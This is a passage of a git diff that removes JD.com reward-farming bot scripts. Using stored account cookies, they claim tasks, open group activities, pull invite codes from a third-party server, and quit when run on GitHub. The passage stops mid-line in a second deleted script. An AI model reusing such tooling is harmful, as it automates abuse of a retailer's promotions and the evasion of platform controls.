options = { - url: `${JD_API_HOST}?functionId=vviptask_receive_list&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } - return new Promise((resolve) => { - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['success']) { - $.taskData = data['data'].filter(vo => !!vo && vo['taskDataStatus'] !== 3); - for (let item of $.taskData) { - console.log(`\n领取 ${item['title']} 任务`) - await vviptask_receive_getone(item['id']); - await $.wait(1000); - console.log(`去完成 ${item['title']} 任务`) - await vviptask_reach_task(item['id']); - console.log(`领取 ${item['title']} 任务奖励\n`) - await vviptask_reward_receive(item['id']); - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -//领取任务 -function vviptask_receive_getone(ids) { - const body = {"channel":"SWAT_RED_PACKET","systemId":"19",ids} - const options = { - url: `${JD_API_HOST}?functionId=vviptask_receive_getone&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } - return new Promise((resolve) => { - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -//做任务 -function vviptask_reach_task(taskIdEncrypted) { - const body = {"channel":"SWAT_RED_PACKET","systemId":"19",taskIdEncrypted} - const options = { - url: `${JD_API_HOST}?functionId=vviptask_reach_task&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } - return new Promise((resolve) => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(`做任务任务:${data}`) - // if (safeGet(data)) { - // data = JSON.parse(data); - // if (data['success']) { - // $.taskData = data['data']; - // for (let item of $.taskData) { - // - // } - // } - // } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -//领取做完任务后的奖励 -function vviptask_reward_receive(idEncKey) { - const body = {"channel":"SWAT_RED_PACKET","systemId":"19",idEncKey} - const options = { - url: `${JD_API_HOST}?functionId=vviptask_reward_receive&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } - return new Promise((resolve) => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(`做任务任务:${data}`) - // if (safeGet(data)) { - // data = JSON.parse(data); - // if (data['success']) { - // $.taskData = data['data']; - // for (let item of $.taskData) { - // - // } - // } - // } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -//领取200京豆 -function pg_interact_interface_invoke(floorToken) { - const body = {floorToken, "dataSourceCode": "takeReward", "argMap": {}} - const options = { - url: `${JD_API_HOST}?functionId=pg_interact_interface_invoke&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } - return new Promise((resolve) => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['success']) { - console.log(`【做任务 天天领京豆】${data['data']['rewardBeanAmount']}京豆领取成功`); - $.rewardBeanNum += data['data']['rewardBeanAmount']; - message += `${message ? '\n' : ''}【做任务 天天领京豆】${$.rewardBeanNum}京豆`; - } else { - console.log(`【做任务 天天领京豆】${data.message}`); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function openRedPacket(floorToken) { - const body = {floorToken, "dataSourceCode": "openRedPacket", "argMap": {}} - const options = { - url: `${JD_API_HOST}?functionId=pg_interact_interface_invoke&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } - return new Promise((resolve) => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['success']) { - console.log(`活动开启成功,初始:${data.data && data.data['activityBeanInitAmount']}京豆`) - $.vvipFlag = true; - } else { - console.log(data.message) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -//================赚京豆-加速领京豆===========END======== -//================赚京豆开团=========== -async function distributeBeanActivity() { - try { - $.tuan = '' - $.hasOpen = false; - $.assistStatus = 0; - await getUserTuanInfo() - if (!$.tuan && ($.assistStatus === 3 || $.assistStatus === 2 || $.assistStatus === 0) && $.canStartNewAssist) { - console.log(`准备再次开团`) - await openTuan() - if ($.hasOpen) await getUserTuanInfo() - } - if ($.tuan && $.tuan.hasOwnProperty('assistedPinEncrypted') && $.assistStatus !== 3) { - $.tuanList.push($.tuan); - // const code = Object.assign($.tuan, {"time": Date.now()}); - // $.http.post({ - // url: `http://go.chiang.fun/autocommit`, - // headers: { "Content-Type": "application/json" }, - // body: JSON.stringify({ "act": "zuan", code }), - // timeout: 30000 - // }).then((resp) => { - // if (resp.statusCode === 200) { - // try { - // let { body } = resp; - // body = JSON.parse(body); - // if (body['code'] === 200) { - // console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的【赚京豆-瓜分京豆】好友互助码提交成功\n`) - // } else { - // console.log(`【赚京豆-瓜分京豆】邀请码提交失败:${JSON.stringify(body)}\n`) - // } - // } catch (e) { - // console.log(`【赚京豆-瓜分京豆】邀请码提交异常:${e}`) - // } - // } - // }).catch((e) => console.log(`【赚京豆-瓜分京豆】邀请码提交异常:${e}`)); - } - } catch (e) { - $.logErr(e); - } -} -function helpFriendTuan(body) { - return new Promise(resolve => { - const data = { - "activityIdEncrypted": body['activityIdEncrypted'], - "assistStartRecordId": body['assistStartRecordId'], - "channel": body['channel'], - } - delete body['time']; - $.get(taskTuanUrl("vvipclub_distributeBean_assist", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.success) { - console.log('助力结果:助力成功\n') - } else { - if (data.resultCode === '9200008') console.log('助力结果:不能助力自己\n') - else if (data.resultCode === '9200011') console.log('助力结果:已经助力过\n') - else if (data.resultCode === '2400205') console.log('助力结果:团已满\n') - else if (data.resultCode === '2400203') {console.log('助力结果:助力次数已耗尽\n');$.canHelp = false} - else if (data.resultCode === '9000000') {console.log('助力结果:活动火爆,跳出\n');$.canHelp = false} - else {console.log(`助力结果:未知错误\n${JSON.stringify(data)}\n\n`);$.canHelp = false} - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function getUserTuanInfo() { - let body = {"paramData": {"channel": "FISSION_BEAN"}} - return new Promise(resolve => { - $.get(taskTuanUrl("distributeBeanActivityInfo", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['success']) { - $.log(`\n\n当前【赚京豆(微信小程序)-瓜分京豆】能否再次开团: ${data.data.canStartNewAssist ? '可以' : '否'}`) - console.log(`assistStatus ${data.data.assistStatus}`) - if (data.data.assistStatus === 1 && !data.data.canStartNewAssist) { - console.log(`已开团(未达上限),但团成员人未满\n\n`) - } else if (data.data.assistStatus === 3 && data.data.canStartNewAssist) { - console.log(`已开团(未达上限),团成员人已满\n\n`) - } else if (data.data.assistStatus === 3 && !data.data.canStartNewAssist) { - console.log(`今日开团已达上限,且当前团成员人已满\n\n`) - } - if (data.data && !data.data.canStartNewAssist) { - $.tuan = { - "activityIdEncrypted": data.data.id, - "assistStartRecordId": data.data.assistStartRecordId, - "assistedPinEncrypted": data.data.encPin, - "channel": "FISSION_BEAN" - } - } - $.tuanActId = data.data.id; - $.assistNum = data['data']['assistNum'] || 4; - $.assistStatus = data['data']['assistStatus']; - $.canStartNewAssist = data['data']['canStartNewAssist']; - } else { - $.tuan = true;//活动火爆 - console.log(`赚京豆(微信小程序)-瓜分京豆】获取【活动信息失败 ${JSON.stringify(data)}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function openTuan() { - let body = {"activityIdEncrypted": $.tuanActId, "channel": "FISSION_BEAN"} - return new Promise(resolve => { - $.get(taskTuanUrl("vvipclub_distributeBean_startAssist", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['success']) { - console.log(`【赚京豆(微信小程序)-瓜分京豆】开团成功`) - $.hasOpen = true - } else { - console.log(`\n开团失败:${JSON.stringify(data)}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getAuthorShareCode(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${Date.now()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -async function getRandomCode() { - await $.http.get({url: `http://go.chiang.fun/read/zuan/${randomCount}`, timeout: 10000}).then(async (resp) => { - if (resp.statusCode === 200) { - try { - let { body } = resp; - body = JSON.parse(body); - if (body && body['code'] === 200) { - console.log(`随机取【赚京豆-瓜分京豆】${randomCount}个邀请码成功\n`); - $.body = body['data']; - $.body1 = []; - $.body.map(item => { - $.body1.push(JSON.parse(item)); - }) - } - } catch (e) { - console.log(`随机取【赚京豆-瓜分京豆】${randomCount}个邀请码异常:${e}`); - } - } - }).catch((e) => console.log(`随机取【赚京豆-瓜分京豆】${randomCount}个邀请码异常:${e}`)); -} -//======================赚京豆开团===========END===== -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&osVersion=5.0.0&clientVersion=3.1.3&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} - -function taskTuanUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&osVersion=5.0.0&clientVersion=3.1.3&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_tcl.js b/activity/jd_tcl.js deleted file mode 100644 index 451d850..0000000 --- a/activity/jd_tcl.js +++ /dev/null @@ -1,472 +0,0 @@ -// author:疯疯 -/* -球队赢好礼 -默认:不加购物车,不注册店铺会员卡。 -活动地址:https://mpdz-isv.isvjcloud.com/ql/front/tcl002/loadTclAct?id=tclTeamAct002&user_id=10299171 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============QuantumultX============== -[task_local] -#球队赢好礼 -10 1 * * * jd_tcl.js, tag=球队赢好礼, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyjd.png, enabled=true -=================Loon=============== -[Script] -cron "10 1 * * *" script-path=jd_tcl.js,tag=球队赢好礼 -=================Surge============== -[Script] -球队赢好礼 = type=cron,cronexp="10 1 * * *",wake-system=1,timeout=3600,script-path=jd_tcl.js - -============小火箭========= -球队赢好礼 = type=cron,script-path=jd_tcl.js, cronexpr="10 1 * * *", timeout=3600, enable=true -*/ - -const $ = new Env("球队赢好礼"); -const notify = $.isNode() ? require("./sendNotify") : ""; -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -const sck = $.isNode() ? "set-cookie" : "Set-Cookie"; -let cookiesArr = [], - cookie = "", - message; -let shareUUID= [ - '262AD0499F3DBB829A73A2D6A7C9B4F32616D531C3528AC13306F568F805BCBC98C78860AD2DDA6EACB606811A93B977D5541778D6BA2AAA3F72022FEF371B086688517369194A1C9489E6861B365E9DCC404E4905CE4ACDDDB48F49F13BFF8E', - '262AD0499F3DBB829A73A2D6A7C9B4F32616D531C3528AC13306F568F805BCBC98C78860AD2DDA6EACB606811A93B977D5541778D6BA2AAA3F72022FEF371B086688517369194A1C9489E6861B365E9DCC404E4905CE4ACDDDB48F49F13BFF8E' -] -let isPurchaseShops = false -isPurchaseShops = $.isNode() ? (process.env.PURCHASE_SHOPS ? process.env.PURCHASE_SHOPS : isPurchaseShops) : ($.getdata("isPurchaseShops") ? $.getdata("isPurchaseShops") : isPurchaseShops); - -if 